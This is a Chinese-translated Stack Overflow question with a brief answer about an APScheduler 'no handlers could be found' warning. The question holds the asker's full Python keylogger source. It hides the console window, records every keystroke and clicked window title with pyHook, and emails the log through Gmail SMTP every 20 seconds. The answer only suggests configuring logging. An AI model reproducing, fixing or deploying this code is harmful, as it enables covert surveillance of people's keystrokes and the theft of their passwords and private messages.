【问题标题】:APScheduler IssueAPScheduler 问题
【发布时间】:2012-12-28 18:37:46
【问题描述】:

我正在使用 pyHook 来挂钩我计算机的密钥并创建这些密钥的日志。现在,我正在尝试发送此登录间隔,但我得到的只是: 找不到记录器“apscheduler.scheduler”的处理程序

这是我的代码,我该怎么办?

import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
from apscheduler.scheduler import Scheduler

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

sched = Scheduler()
sched.start()

def sendEmail():
    print("ready to send email")
    fromaddr = 'XXX@gmail.com'
    toaddrs  = 'XXX@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'XXX'
    password = 'XXX'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

def email():
    openfile.close()
    sendEmail()
    openfile = open(logpath,"w")

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()

sched.add_interval_job(email,seconds=20)

pythoncom.PumpMessages()

【问题讨论】:

    标签: python email logging pyhook


    【解决方案1】:

    通常我会添加这个:
    logging.basicConfig(
    filename=''.join([getcwd(), '/', 'log_file_name.log']),
    level=logging.DEBUG,
    format='%(levelname)s[%(asctime)s]: %(message)s'
    )

    你可以参考问题How to specify 'logger' for apscheduler

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2013-10-03
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-04-01
      • 2019-05-03
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多